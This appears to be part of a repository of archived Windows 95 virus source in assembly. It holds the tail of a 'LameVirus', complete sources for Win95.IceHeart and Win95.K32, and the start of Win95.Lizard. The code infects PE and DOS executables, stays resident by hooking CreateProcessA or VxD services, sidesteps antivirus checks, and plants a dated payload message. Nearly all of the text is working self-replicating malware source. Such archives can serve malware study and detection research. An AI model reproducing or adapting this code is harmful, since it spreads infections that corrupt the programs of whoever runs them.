SUB EBX,OFFSET DELTA
CALL [EBX]
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EAX ; GET PE HDR
MOV EDX,EAX
ADD EAX,3CH
MOV ESI,[EAX]
ADD ESI,EDX
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
JNZ Cerrar
ADD ESI,MARKA
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
JNZ Cerrar1
CMP ESP,0
JNZ Cerrar
Cerrar1:
SUB ESI,MARKA
MOV EBX,ESI
ADD EBX,3CH
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
MOV ECX,ESI
ADD ECX,56
CMP EAX,[ECX]
JNZ Cerrar
SUB ESP,4
MOV [ESP],ESI
MOV ECX,0
MOV EDI,ESI
ADD EDI,6
MOV CL,BYTE PTR [EDI]
ADD EDI,74H-6
MOV EBX,[EDI]
ADD EBX,EBX
ADD EBX,EBX
ADD EBX,EBX
ADD ESI,78H
ADD ESI,EBX
ADD ESI,24H
WRI:
MOV DWORD PTR [ESI], 0C0000040h
ADD ESI,40
SUB ECX,1
CMP ECX,0
JNZ WRI
MOV ESI,[ESP]
ADD ESP,4
MOV EDI,ESI
ADD ESI,28H
MOV EAX,[ESI]
ADD ESI,34H-28H
ADD EAX,[ESI]
MOV ECX,[ESI]
MOV EDX,OFFSET BASE
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],ECX
MOV EBX,OFFSET OLD_EIP
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EDI
ADD ESI,MARKA
MOV BYTE PTR [ESI],"H" ; HenKy!
MOV EAX,OFFSET WFD_nFileSizeLow
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV ECX,[EAX]
MOV EAX,EDI
BU:
CMP DWORD PTR [EDI], 'XGNI'
JNZ PE
CMP ESP,0
JNZ PO
PE:
ADD EDI,1
SUB ECX,1
CMP ECX,0
JNZ BU
CMP ESP,0
JNZ Cerrar
PO:
MOV ESI,EDI
ADD ESI,4
CMP DWORD PTR [ESI], 'DAPX'
JNZ PE
SUB ESP,4
MOV [ESP],EDI
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
SUB EDI,[EBX]
ADD EAX,28H
MOV [EAX],EDI
MOV EBX,OFFSET BASE
ADD EBX,EBP
SUB EBX,OFFSET DELTA
ADD EDI,[EBX]
ADD EDI,5
MOV EDX,OFFSET MILO
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],EDI
MOV EDI,[ESP]
ADD ESP,4
MOV ESI,OFFSET MEGAMIX
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV ECX,MIX_SIZ/4
BASTARDO_VIRUS:
MOV EAX,[ESI]
MOV [EDI],EAX
ADD ESI,4
ADD EDI,4
SUB ECX,1
CMP ECX,0
JNZ BASTARDO_VIRUS
UnMapFile:
MOV EAX, OFFSET MapAddress
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET UnmapViewOfFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CloseMap:
MOV EAX, OFFSET MapHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
Cerrar:
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[ESP]
MOV [EAX],EBX
ADD ESP,4
MOV EAX, OFFSET FileHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
TOPO:
MOV EAX, offset Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET SearcHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET FindNextFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CMP ESP,0
JNZ LOOPER
APIs:
DB "CreateFileA",0
DB "CloseHandle",0
DB "FindFirstFileA",0
DB "FindNextFileA",0
DB "MapViewOfFile",0
DB "UnmapViewOfFile",0
DB "CreateFileMappingA",0
Zero_ DB 0
BASE DD 0
IMASK DB '*.ExE',0
DB 'HenZe LameVirus BY HenKy',0
align 4
FILE_END LABEL BYTE
APIaddresses:
CreateFile DD 0
CloseHandle DD 0
FindFirstFile DD 0
FindNextFile DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CreateFileMappingA DD 0
GPA DD 0
SearcHandle DD 0
FileHandle DD 0
MapHandle DD 0
MapAddress DD 0
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
Win32FindData:
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
FNAME DD 0
DD 0
DD 0
DD 0
DD 0
DD 0
align 4
MEM_END LABEL BYTE
EXITPROC:
PUSH 0
CALL ExitProcess
ENDS
END MEGAMIX

View File

@ -0,0 +1,285 @@
;last review 29.06.1999
;"—?® ­? ??®­? - ??? «?¤..."
;Win95.IceHeart v1.5
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX
jumps
.386
.model flat,stdcall
extrn ExitProcess:PROC
.code
start:
_start:
cld
call _Next
_Next:
pop esi
sub esi,offset _Next
push ebp
cmp byte ptr [esp+3+4],0BFh
jne _ExitNow;NT
mov ebp,_krnl_begin+178h+0Ch-40
_DoSearchSection:
add ebp,40
mov edx,[ebp];first rva
test edx,edx
jz _ExitNow
cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr
jne _DoSearchSection
mov eax,[ebp+0Ch+40-0Ch];second rva
mov ebx,eax
sub eax,edx;rva delta
sub eax,[ebp+8-0Ch];virtual size
cmp ah,(virlen_in_mem/256)+1
jb _DoSearchSection
;in ebx second rva
;in edx virtual size
_SectionForUs:
sub ebx,eax
lea edi,[_krnl_begin+ebx]
lea ebp,[edi+offset _SecondStart-offset _start]
pusha
lea esi,[esi+offset _start]
_ResidencyCheck:
xor ecx,ecx
cmp byte ptr [edi],cl
jne _ExitNow2
mov ch,(virlen_in_mem/256)+1
rep movsb
call ebp
_ExitNow2:
popa
_ExitNow:
pop ebp
jmp dword ptr [offset _old_eip+esi]
_SecondStart:
mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah]
sub ebp,offset _SecondStart
lea edi,[offset _old_vxd_call+ebp]
push esi
movsd
movsw
lea eax,[ebp+offset _Handler]
pop edi
stosd
mov ax,cs
stosw
_InitSomeVars:
mov dword ptr [offset _RelocFix+ebp+1],ebp
lea eax,[offset _old_vxd_call+ebp]
mov dword ptr [ebp+offset _JmpFword+2],eax
retn
_Handler:
pusha
_RelocFix:
mov ebp,11223344h
_CheckBusyFlag:
lea ecx,[offset _busy_flag+ebp]
xor edx,edx
cmp byte ptr [ecx],dl
jne _Exit_Handler
mov dl,0C0h
cmp eax,2A0040h;id of DeviceIoControl
jne _CheckInt21Call
_CheckAvpCalls:
cmp word ptr [edx+esp+2],22h
jne _Exit_Handler
not dword ptr [edx+esp];i think, avp likes api code,like this ;)
_CheckInt21Call:
cmp eax,2A0010h;calling int 21h ?
jne _Exit_Handler
cmp word ptr [esp+44],716Ch;openfile ?
je _Infect_It
_Exit_Handler:
popa
_JmpFword:
jmp fword ptr ds:[offset _old_vxd_call]
_Infect_It:
not byte ptr [ecx]
mov edi,esi
xor eax,eax
cld
push ecx
push eax
mov ecx,esp
repnz scasb
pop ecx
mov eax,dword ptr [edi-5]
or eax,20202000h
cmp eax,'exe.'
; cmp eax,'eci.'
jne _ExitInfector
_InfectFile:
xor byte ptr [offset _Name+4+ebp],13
_AllocStack:
mov ch,4;1024
sub esp,ecx
push ecx
_OpenFile:
xor edi,edi
xor eax,eax
cdq
inc edx
mov ebx,edx
inc ebx
mov ax,716Ch
call _Int21h
xchg eax,ebx
jc _FreeStack
mov ah,3Fh
call _Process_1024b
cmp ecx,eax
jne _CloseJmp
mov eax,[edi+3Ch]
shr ecx,1
cmp eax,ecx
jae _CloseJmp
add edi,eax
mov eax,[edi]
inc eax;heuristics sucks
cmp ax,'EP'+1;sign
jne _CloseJmp
cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size
je _CloseJmp
_CheckAlreadyInfected:
cmp byte ptr [edi+1Ah],al
je _CloseJmp
mov byte ptr [edi+1Ah],al
test byte ptr [edi+23],22h;dll or fixed image
jne _CloseJmp
mov byte ptr [edi+23],0;strip reloc
mov edx,dword ptr [edi+160];fixup section
test edx,edx
je _CloseJmp
push edx
xchg dword ptr [edi+40],edx;entry point
add edx,dword ptr [edi+48+4];image base
mov dword ptr [offset _old_eip+ebp],edx
pop edx
_AnalyzePlaceInFixupArea:
mov ecx,[edi+6]
lea esi,[edi+0F8h+12];rva
_DoAnalyzeSections:
lodsd
cmp eax,edx;search section with rva=fixup rva
je _OkiFixupOur
add esi,40-4
loop _DoAnalyzeSections
_CloseJmp:
jmp _Close
_OkiFixupOur:
lodsd;phys size
mov edx,virlen
cmp eax,edx
jb _CloseJmp
mov dword ptr [esi-12],edx
push edx
lodsd;phyz ofs
_Int21CallOptimization:
lea esi,[ebp+offset _Int21h]
_SeekToEnd:
push eax
pop dx
pop cx
mov ax,4200h
call esi
_WriteSelf:
mov ah,40h
lea edx,[ebp+offset _start]
pop ecx
call esi
_WriteHeader:
xor eax,eax
mov ah,42h
cdq
call esi
mov ah,40h
call _Process_1024b
_Close:
mov ah,3Eh
call _Int21h
_FreeStack:
pop ecx
add esp,ecx
_ExitInfector:
pop ecx
not byte ptr [ecx]
jmp _Exit_Handler
_Process_1024b:
lea edi,[esp+4+4]
xor ecx,ecx
mov ch,4;1024
mov edx,edi
_Int21h:
push ecx
push ebp
push ecx eax
push 2A0010h
mov ebp,_krnl_begin+_1st_export
call ebp
pop ebp
pop ecx
retn
_Name db 'Win95.iCE-hEART',0
_Msg db '? ? ?? , ? ???? ??§?¬­® «??«? !',0
_old_eip dd offset ExitProcess
virlen equ $-offset start
_old_vxd_call db 6 dup ('')
_busy_flag db ''
virlen_in_mem equ $-offset start
ends
.data
db 13,10
_krnl_begin equ 0BFF70000h
_1st_export equ 13D4h
end start

2929
LegacyWindows/Win95.Inca.asm Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

744
LegacyWindows/Win95.K32.asm Normal file
View File

@ -0,0 +1,744 @@
;***********************************************************************
;* *
;* VIRUS WIN95.K32 By nIgr0 *
;* *
;***********************************************************************
;
; Virus residente, pa win95
; Uso el espacio libre dejado por el header del kernel32
; dentro de la primera p gina.
; Parcheo el API CreateProcessA mediante un JMP
; Modifico los permisos de las p ginas que voy a utilizar
; mediante una llamada a CALLVXD0 (_PageModifyPermissions)
; Vxd 01 servicio 0d.
; Hallo la direccion de las apis a utilizar buscando en la
; export table del kernel32 , supongo la direcci?n base del
; kernel32.dll como 0bff70000h . La unica comprobaci?n que hago
; al respecto es mirar en la pila [sp+3]=0b7h, con lo que
; por lo menos si no es 0bff70000h se acerca :)
; Infecto aumentando la ultima secci?n del file y modifico el
; entrypoint del file, pero no modifico los atributos de la ?ltima
; secci?n aunque estos sean de solo lectura ,paso completamente de esos
; atributos y luego mientras se ejecuta el virus este se pone los
; atributos de pagina que quiera mediante el servicio
; _PageModifyPermissions.
;
.386p
.model flat,STDCALL
include win32.inc
extrn ExitProcess:PROC
extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera
extrn CreateProcessA:proc ;generaci?n
;*********** Aqu? algunas equs interesantes ****************
viriisize equ (((offset end - offset start)+064h)/065h)*065h
K32 equ 0bff70000h
hueco equ 0bffc0400h ;Zona en el header
GENERIC_READ EQU 80000000H ;abre archivo para lectura
GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura
OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente
.data
dummy db 0 ;de esta secci?n paso
mess db 'nIgrO rUlez!!!$',0
text db 'Virus Win95.K32 .... Ejecutado',0
.code
start:
xor eax,eax ;este es el codigo de un Hoste Ficticio
push eax
lea eax,mess
push eax
lea eax,text
push eax
xor eax,eax
push eax
nop
nop
nop
nop
nop
; call MessageBoxA
Lajodimos:
Push LARGE -1
call ExitProcess
;***************** Comienzo del Virus **********************
startvirii:
cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el
jne malasunto ;la direcci?n bf??????h
pushad ;pusheo tooo
push ebp
call getdesp ;obtengo el delta
getdesp: pop ebp
sub ebp,offset getdesp
jmp saltito ;jmp pa esquivar la zona de datos :)
;***************** Comienzo de la zona de Datos ***********
startdata:
PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii
jmp eax
codigoparcheado:
db 010h dup (0)
FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0
NLH db 'nIgr0_lives_here!!!!',0
IOBYTES dd 0h,0h
llamada dd 0bff713d4h ;direcci?n de CallVXD0 hallada anteriormente
hoste db 'c:\virus\k32\K.EXE',0,' '
ahand dd 0 ; handle del virus que abro
peheaderoffset dd 0 ; Guardo el offset del peheader del archivo
ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria
bytesread dd 0 ; numero de bytes que leo/escrito en el archivo
secdesplaza dd 0h
secphy dd offset startvirii- offset start
ultfisicalsize dd 0h
newobject: ; Zona en la que almaceno el ultimo objeto
oname db ".nigro",0,0 ; Pa modificarlo a placer
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags dd 0h
peheader: ; Estructura del Pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
db 400h dup (0)
addresstable dd 00h ;direccion de la addresstable en la export table
nametable dd 00h ;direccion la tabla de punteros a strings (de la export table)
ordinaltable dd 00h ;puntero a la ordinal table
contador dd 00h ;pa calcular la posici?n del puntero en la nametable que
;que apunte a la api buscada.
apiabuscar dd 00h ;offset donde se encuentra la string de la api a
;buscar (es usada temporalmente por mi
;procedimiento GetAdressAPi)
longitudapi dd 00h
;************** Direcciones para las APIS *******************
nombreapis:
dd 010d
db 'CreateFile',0,' ' ;strings de las apis que
dd 014d
db 'SetFilePointer',0,' ' ;voy a utilizar
dd 08d
db 'ReadFile',0,' ' ;junto con el tama¤o de la
dd 09d
db 'WriteFile',0,' ' ;string
dd 011d
db 'CloseHandle',0,' '
dd 014d
db 'CreateProcessA',0,' '
dd 016d
db 'GetModuleHandleA',0
dd 014d
db 'GetProcAddress',0,' '
direccionesapis:
newCreateFile dd 00h ;0bff7799ch ;valores para mi versi?n de WIN :)
newSetFilePointer dd 00h ;0bff770e4h
newReadFile dd 00h ;0bff7594ah
newWriteFile dd 00h ;0bff75951h
newCloseFile dd 00h ;0bff7bc8bh
newCreateProcessA dd 00h ;0bff775e8h
newGetModuleHandleA dd 00h
newGetProcAddress dd 00h
dllmensajito db 'USER32.dll',0
apimensajito db 'MessageBoxA',0
;***************** Fin de la Zona de datos ***********************
saltito:
;en eax viene el entrypoint del virii
mov ebx,eax ;copia de seguridad
xor eax,eax ;empiezo a calcular la direccion de CALLVXD0
mov esi,K32 + 3CH
lodsw ;en ax me quedar el comienzo del PE header
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
cmp dword ptr [EAX],00004550H ;verifico que es un PE header
je NoERROR
ERROR: jmp melaspiro
NoERROR:
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
add esi,K32 + 1CH ; 1CH RVA para la adress table
lodsd ; en eax queda la RVA al primer ordinal
add eax,K32 ; es decir la direcci?n a la CALLVXD0
push eax ;
pop esi ;en esi=eax
lodsd ;obtengo la RVA de la primera API
add eax,K32 ;EAX = La direcci?n de la primera API
mov edi,ebx
and edi,0fffff000h ;calculo la pagina del virii
ror edi,012d
push eax
call modificarpermisos
pop eax
and ebx,00000fffh ;verifico que no va a utilizar 2 paginas
add ebx,viriisize ;en caso de que utilice 2 paginas , marco
cmp ebx,01000h ;la segunda pagina tambien para escritura
jl continuar
inc edi
push eax
call modificarpermisos
pop eax
continuar:
mov [ebp+llamada],eax ;salvo la direcci?n de CALLVXD0
mov eax,0bff70400h ;verifico que no est residente
mov ebx,dword ptr [eax]
cmp ebx,dword ptr [ebp+startvirii]
je yaresidente
mov ecx,08h ;numero de APis a buscar
lea esi,ebp+nombreapis
lea edi,ebp+direccionesapis
otraapi: ;obtengo la direccion de las apis
push edi ;que voy a utilizar
push esi
push ecx
call GetAddressApi
pop ecx
pop esi
pop edi
mov dword ptr [edi],eax
add edi,4h
add esi,021d
dec ecx
jne otraapi ;bueno en este punto tenemos las direcciones
;necesarias :)
mov eax,00002a00h
call INT_21 ;compruebo la fecha del sistema
cmp dh,02d
jne nopayload ;fecha de activaci?n 19d de febrero
cmp dl,019d
jne nopayload
lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la
push ebx ;libreria USER32.dll donde reside
call [ebp+newGetModuleHandleA] ;el api MessageBoxA
lea ebx,ebp+apimensajito
push ebx
push eax
call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA
push 0
lea ebx,ebp+NLH
push ebx
lea ebx,ebp+FIRMA
push ebx
push 0
call eax ;llamo al api MessageBoxA
nopayload:
mov edi,0bff70h
call desprotegerpagina
mov edi,dword ptr [ebp+newCreateProcessA]
and edi,0fffff000h
ror edi,012d
call desprotegerpagina ;desprotejo 2 paginas una para poder
;parchear el api y otra en la que
;quedar residente
inc edi
call desprotegerpagina ;y la siguiente
mov esi,dword ptr [ebp+newCreateProcessA]
lea edi,ebp+codigoparcheado
mov ecx,010h
rep movsb ;copio los 10h primeros bytes del api
;CreateProcess
;para poder devolver el control al API
;cuando sea llamada.
lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp
mov ecx,010h ;en la API ;del api
rep movsb
lea esi,ebp+startvirii
mov edi,0bff70400h
mov ecx,viriisize
rep movsb ;copio el virus en memoria
yaresidente:
melaspiro:
popad
pop ebp
malasunto:
db 0b8h ;esto es un mov eax,inm
oldip dd 0401000h ;Ip de inicio
jmp eax
enddata:
;*************** Modifica permisos de pagina *********************
;en eax la direccion de callvxd0
;y en edi la pagina a modificar
desprotegerpagina: ; LLamada a CALLVXD0
mov eax,dword ptr [ ebp + offset llamada]
modificarpermisos:
push 020060000h ;nuevos atributos de p gina
push 00h
push 01h
push edi
push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions)
call eax
ret
;**************** Rutina para llamar a la int 21h **********************
INT_21: ; LLamada a la INT 21
push ecx
push eax
push 002a0010h
mov eax,dword ptr [ ebp + offset llamada]
call eax
RET
;************** Procedimiento que encuentra la direccion de las apis ***************
;************** en la export table del Kernel32 ***************
GetAddressApi:
mov eax,dword ptr [esi]
mov dword ptr [ebp+longitudapi],eax
add esi,04h
mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string
xor eax,eax
mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador
mov esi,K32 + 3CH
lodsw ;en ax me quedar el comienzo del PE header
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
add esi,K32 + 1cH ; 1CH RVA para la adress table
lodsd ;obtengo los offset de algunas TABLAS
add eax,K32 ;interesantes de la export table
mov dword ptr [ebp+addresstable],eax
lodsd
add eax,K32
mov dword ptr [ebp+nametable],eax
lodsd
add eax,K32
mov dword ptr [ebp+ordinaltable],eax
;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
;Table.
;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
;Pointers.
;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals
mov eax,dword ptr [ebp+nametable]
mov esi,eax
anotherapi:
push esi
lodsd
mov esi,eax
add esi,K32
mov edi,dword ptr [ebp+apiabuscar]
mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes
cld ;con los que compararemos
repe cmpsb
je encontrada
pop esi
add esi,04h
inc dword ptr [ebp+contador]
jmp anotherapi
encontrada:
pop esi
xor eax,eax
mov eax,dword ptr [ebp+contador]
add eax,eax
add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador
mov esi,eax ;me voy a la ordinal table
lodsw ;y busco el ordinal del API
and eax,0000ffffh
add eax,eax
add eax,eax
add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la
mov esi,eax ;adress table
lodsd
add eax,K32 ;devuelvo en eax la direccion del API
ret
;***************************************************************************
;* *
;* Comienzo de la Rutina que intercepa la API CreateProcessA *
;* *
;***************************************************************************
starthook:
push ebp
call getdelta ;obtengo el delta
getdelta: pop ebp
sub ebp,offset getdelta
mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto
;de la pila :)
pushad ;pusheo tooo
mov esi,eax
lea edi,ebp+hoste
otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre
je sacabo ;de la victima en la variable hoste
movsb
jmp otrocar
sacabo: movsb ;copio el 0 tambin
lea esi,ebp+hoste
cmp byte ptr [esi],022h
jne proseguir ;rehago el string por si est
;entre comillas
lea edi,ebp+hoste
inc esi
mascara: cmp byte ptr [esi],022h
je finalizar
movsb
jmp mascara
finalizar: mov byte ptr [esi],0h
movsb
proseguir: cmp word ptr [edi-3h],'EX'
je esunexe
cmp word ptr [edi-3h],'ex'
je esunexe
jmp emergencia
esunexe:
lea esi,ebp+hoste ;Abro el archivo
xor eax,eax
push eax
push eax
push large OPEN_EXISTING
push eax
push eax
push large GENERIC_READ or GENERIC_WRITE
mov eax,esi
push eax
call dword ptr[ebp + newCreateFile]
cmp eax,-1
je emergencia
mov dword ptr [ebp + offset ahand],eax ; Guardo el handle
; Busco el comienzo del PE header que est en la posici?n 3ch
mov edx,03ch
call moverpuntero
; Leo la posici?n del Pe header
mov ecx,004h
lea edx,[ebp + offset peheaderoffset]
call lectura
; Me muevo hasta el PE header
mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero
; Leo un poco del header para calcular todo el tama¤o del
; pe header y object table
mov ecx,058h
lea edx,[ebp + offset peheader]
call lectura
; Llevo el puntero al comienzo del PE header de nuevo
mov edx,dword ptr [ebp+ offset peheaderoffset]
call moverpuntero
; leo todo el pe header y la object table
mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call lectura
; Me aseguro que es un pe y que no est infectado
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est infectado salir
jz notape
; marco el archivo como infectado en una zona del Header
mov word ptr [ebp + offset peheader + 4ch],00badh
; Localizo el offset de la object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax
;relativo al comienzo del Pe header
;Calculo el Offset del ?ltimo objecto de la tabla
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40d
xor edx,edx
mul ecx
add esi,eax
sub esi,40d
lea edi,[ebp + offset newobject]
mov ecx,10d
push esi
push edi
rep movsd ;copio la entrada en la object table en memoria
mov eax,dword ptr [ebp + offset physicalsize]
mov dword ptr [ebp + offset ultfisicalsize],eax
mov dword ptr [ebp + offset secphy],eax
; Calcula el tama¤o fisico pa el ultimo object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,dword ptr [ebp + offset physicalsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax
mov eax,dword ptr [ebp + offset virtualsize]
mov dword ptr [ebp+ offset secdesplaza],eax ;el tama¤o virtual ser
;el desplazamiento dentro de la secci?n
;RVA del objeto + desplazamiento virtual= entrypoint RVA
; calcula el tama¤o virtual del objeto modificado
mov ecx,dword ptr [ebp + offset objalign]
mov eax,dword ptr [ebp + offset virtualsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax
; Modifico la image size del archivo.
mov eax,viriisize
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax
; Copio el objeto modificado en el buffer
pop esi
pop edi
mov ecx,10d
rep movsd
; Calculo la nueva Entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]
add eax,dword ptr [ebp + offset secphy]
mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax
add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress
mov dword ptr [ebp + offset oldip],ebx
;completo la variable oldip para generar
;el jump al hoste
; de nuevo al Pe header
mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero
; Escribo el pe header y la object table en el archivo
mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call escritura
; Me voy al final del file para copiar el virus
mov edx,dword ptr [ebp + offset physicaloffset]
add edx,dword ptr [ebp + offset ultfisicalsize]
call moverpuntero
; Copio el virus al final (de la ultima secci?n)
mov ecx,viriisize
lea edx,[ebp + offset startvirii]
call escritura
notape:
push dword ptr [ebp + ahand]
call dword ptr [ebp + newCloseFile]
emergencia:
lea esi,ebp+codigoparcheado
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;los 010h primeros bytes
rep movsb ;del api
popad
pop ebp
call getdelta2 ;obtengo el delta otra vez
getdelta2:pop eax
sub eax,offset getdelta2
pop dword ptr [eax+dirretorno]
call dword ptr [eax+newCreateProcessA] ;llamo a la api
push ebp
call getdelta3 ;obtengo el delta otra vez
getdelta3:pop ebp
sub ebp,offset getdelta3
pushad
lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;el parche ;del api
rep movsb
popad
pop ebp
db 068h ;opcode de un push
dirretorno dd 00h
ret
lectura: ;Llamada al api ReadFile
push large 0 ;En ecx: Numero de bytes a leer
lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newReadFile]
ret
moverpuntero: ;Llamada al api SetFilePointer
push LARGE 0 ;en edx: el offset del archivo
push LARGE 0
push edx
push dword ptr [ebp + ahand]
call dword ptr [EBP + newSetFilePointer]
ret
escritura: ;Llamada al api WriteFile
;en ecx: bytes a escribir
;en edx: offset del buffer
push LARGE 0
LEA eax,[ebp + IOBYTES]
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newWriteFile]
jur: ret
endhook:
endvirii:
end:
end startvirii

View File

@ -0,0 +1,627 @@
;Win95.Lizard
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
; 22222 99999 AAAAA
; 222 222 999 999 AAA AAA
; 222 999999 AAAAAAA
; 222 999 AAA AAA
; 2222222 999999 AAA AAA
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling lzd.vxd (win95 DDK):
;makefile
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
